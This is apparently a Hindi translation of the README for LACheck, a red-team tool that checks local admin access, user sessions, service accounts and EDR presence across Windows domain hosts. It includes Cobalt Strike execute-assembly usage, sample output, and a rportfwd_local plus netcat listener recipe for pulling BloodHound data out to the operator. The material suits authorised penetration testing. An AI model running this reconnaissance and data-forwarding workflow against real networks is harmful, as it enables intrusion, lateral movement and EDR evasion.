
विंडोज होस्ट्स पर SMB, WMI और WinRM के माध्यम से स्थानीय प्रशासनिक विशेषाधिकारों की गणना के लिए मल्टीथ्रेडेड C# .NET असेंबली, जिसमें Active Directory टोही के लिए BloodHound एकीकरण है।
मल्टीथ्रेडेड C# .NET असेंबली स्थानीय प्रशासनिक विशेषाधिकार गणना
> ./LACheck.exe help
_ _____ _ _
| | /\ / ____| | | |
| | / \ | | | |__ ___ ___| | __
| | / /\ \ | | | '_ \ / _ \/ __| |/ /
| |____ / ____ \ | |____| | | | __/ (__| <
|______/_/ \_\ \_____|_| |_|\___|\___|_|\_\
Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]
Local Admin Checks:
smb - Attempts to access C$ share
rpc - Attempts WMI query of Win32_ComputerSystem Class provider over RPC
winrm - Attempts WMI query of Win32_ComputerSystem Class Provider over WinRM Session
Arguments:
/bloodhound - generate bloodhound-digestible AdminTo and Session collection file
output file is zipped and enypted with randomized name and password
/dc - specify domain controller to query (if not ran on a domain-joined host)
/domain - specify domain name (if not ran on a domain-joined host)
/edr - check host for EDR (requires smb, rpc, or winrm)
/logons - return logged on users on a host (requires smb, rpc, or winrm)
/registry - enumerate sessions from registry hive (requires smb)
/services - return services running as users (requires smb, rpc, or winrm)
/socket - send bloodhound output to TCP socket instead of writing to disk
ex: ""127.0.0.1:8080""
/targets - comma-separated list of hostnames to check
/threads - specify maximum number of parallel threads (default=25)
/user - specify username that collection was run under (useful during token manipulation)
/validate - check credentials against Domain prior to scanning targets (useful during token manipulation)
/verbose - print additional logging information
/ou - specify LDAP OU to query enabled computer objects from
ex: "OU=Special Servers,DC=example,DC=local"
/ldap - query hosts from the following LDAP filters:
:all - All enabled computers with 'primary' group 'Domain Computers'
:dc - All enabled Domain Controllers (not read-only DCs)
:exclude-dc - All enabled computers that are not Domain Controllers or read-only DCs
:servers - All enabled servers
:servers-exclude-dc - All enabled servers excluding Domain Controllers or read-only DCs
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.
जैसा कि उपरोक्त उदाहरण आउटपुट में देखा गया है, IP पते 10.10.10.10 पर होस्ट पर WinRM जाँचने का प्रयास करने पर त्रुटि होगी क्योंकि WinRM क्लाइंट IP पते के माध्यम से किसी होस्ट को प्रमाणित करने का प्रयास नहीं करता है।
WinRM एक्सेस की जाँच करते समय होस्टनाम का उपयोग करें।
/targets, /ldap, और /ou फ़्लैग सभी का उपयोग एक साथ या अलग-अलग गणना करने के लिए होस्ट की सूची उत्पन्न करने के लिए किया जा सकता है।
गणना शुरू होने से पहले इन फ़्लैग से लौटाए गए सभी होस्ट को संयोजित और डीडुप्लिकेट किया जाता है।
LACheck AdminTo और सत्र संग्रह को json आउटपुट में लिखने का समर्थन करता है जिसे BloodHound पर अपलोड किया जा सकता है।
यह आउटपुट केवल एक मौजूदा BloodHound संग्रह को एक एकल उपयोगकर्ता के लिए अद्यतन प्रशासनिक विशेषाधिकारों और उन होस्ट से एकत्रित सत्रों के साथ बढ़ाने के लिए है जहां प्रशासनिक विशेषाधिकारों की पहचान की गई है।
/bloodhound स्विच डिस्क पर एक यादृच्छिक नामित एन्क्रिप्टेड ज़िप फ़ाइल लिखेगा जिसे डाउनलोड, निकाला और BloodHound पर अपलोड किया जा सकता है।
BloodHound को उपयोगकर्ताओं और कंप्यूटरों को SIDs में हल करने की आवश्यकता होती है। Cobalt Strike के make_token और kerberos_ticket_use जैसी प्रतिरूपण तकनीकों के कारण, LACheck किसी संग्रह के लिए उपयोगकर्ता संदर्भ को सटीक रूप से निर्धारित करने में सक्षम नहीं हो सकता है। संग्रह जानकारी को सटीक रूप से सहसंबंधित करने के लिए LACheck को उस संदर्भ का userprincipalname (प्रारूप = [email protected]) प्रदान करने के लिए /user तर्क आवश्यक है।
BloodHound आउटपुट को डिस्क पर लिखे जाने के बजाय TCP सॉकेट पर भेजा जा सकता है।
यदि TCP कनेक्शन विफल हो जाता है, तो BloodHound आउटपुट डिस्क पर लिखा जाएगा।
Cobalt Strike बीकन में, TCP कनेक्शन को rportfwd_local का उपयोग करके एक होस्ट से ऑपरेटर की स्थानीय मशीन पर अग्रेषित किया जा सकता है:
rportfwd_local 8888 127.0.0.1 8888
एक ऑपरेटर तब netcat का उपयोग करके TCP स्ट्रीम के आउटपुट को एक स्थानीय फ़ाइल में पाइप कर सकता है:
nc -lvnp 8888 > computers.json
- = लागू नहीं
harleyQu1nn के EDR.cna स्क्रिप्ट से प्रेरित
Directory.GetFiles विधि ड्राइवरों की सूची लौटाती है:
ड्राइवरों को EDR विक्रेताओं द्वारा उपयोग किए जाने वाले ज्ञात ड्राइवरों की सूची के विरुद्ध खोजा जाता है।
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
NetWkstaUserEnum इंटरैक्टिव, सेवा और बैच लॉगऑन वाले उपयोगकर्ताओं की सूची लौटाता है।
WTSEnumerateSessionsA एक होस्ट पर RDP सत्रों की सूची लौटाता है।
WTSQuerySessionInformationA प्रत्येक RDP सत्र के लिए विस्तृत जानकारी प्राप्त करता है।
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
\\Computer\HKEY_USERS\ हाइव में SIDs के माध्यम से पुनरावृति करता है, प्रत्येक SID के लिए Volatile Environment तक पहुँचने का प्रयास करता है, और USERDOMAIN और USERNAME कुंजियों से मान प्राप्त करता है।
इस विधि के लिए दूरस्थ होस्ट पर Remote Registry सेवा चल रही होनी चाहिए। यदि नहीं:
Automatic में बदल दिया जाता हैप्रत्येक होस्ट की गणना करने की संभावित बहु-चरणीय प्रक्रिया के कारण, यह विधि वैकल्पिक तकनीकों की तुलना में धीमी हो सकती है। smb /logons तेज़ है।
[registry] WEB01 - contoso\devadmin (svcadmin)
ServiceController.GetServices Method एक होस्ट पर सेवाओं की सूची प्राप्त करता है।
प्रत्येक सेवा से यह निर्धारित करने के लिए पूछताछ की जाती है कि वह किस उपयोगकर्ता के रूप में चलने के लिए कॉन्फ़िगर की गई है।
प्रत्येक सेवा से व्यक्तिगत रूप से पूछताछ करने के कारण, यह विधि वैकल्पिक तकनीकों की तुलना में धीमी हो सकती है। wmi /services तेज़ है।
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
harleyQu1nn के EDR.cna स्क्रिप्ट से प्रेरित
CIM_DataFile class ड्राइवरों की सूची लौटाता है:
ड्राइवरों को EDR विक्रेताओं द्वारा उपयोग किए जाने वाले ज्ञात ड्राइवरों की सूची के विरुद्ध खोजा जाता है।
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
Win32_LoggedOnUser class लॉग ऑन सत्रों की सूची लौटाता है। Win32_LogonSession class प्रत्येक सत्र के लिए विस्तृत जानकारी लौटाता है।
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
Win32_UserProfile class से सिस्टम पर उपयोगकर्ता प्रोफ़ाइलों के लिए SIDs प्राप्त करने के लिए पूछताछ करता है।
StdRegProv class की EnumKey विधि \\Computer\HKEY_USERS\ हाइव प्राप्त करती है और प्रत्येक लौटाए गए SID के लिए Volatile Environment तक पहुँचने का प्रयास करती है ताकि USERDOMAIN और USERNAME कुंजियों से मान प्राप्त किए जा सकें।
[registry] WEB01 - contoso\devadmin (svcadmin)
Win32_Service class से सेवाओं का नाम, उपयोगकर्ता और स्थिति प्राप्त करने के लिए पूछताछ करता है।
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
प्रत्येक WMI जाँच को WMI Resources और WMI Enumeration का उपयोग करके WinRM पर भी लागू किया गया है।
यह PowerShell रनस्पेस के उपयोग से बचाता है।
| SMB | WMI | WinRM |
|---|
| /edr | तेज़ | तेज़ | तेज़ |
| /logons | तेज़ | तेज़ | तेज़ |
| /services | धीमा | तेज़ | तेज़ |
| /registry | धीमा | तेज़ | - |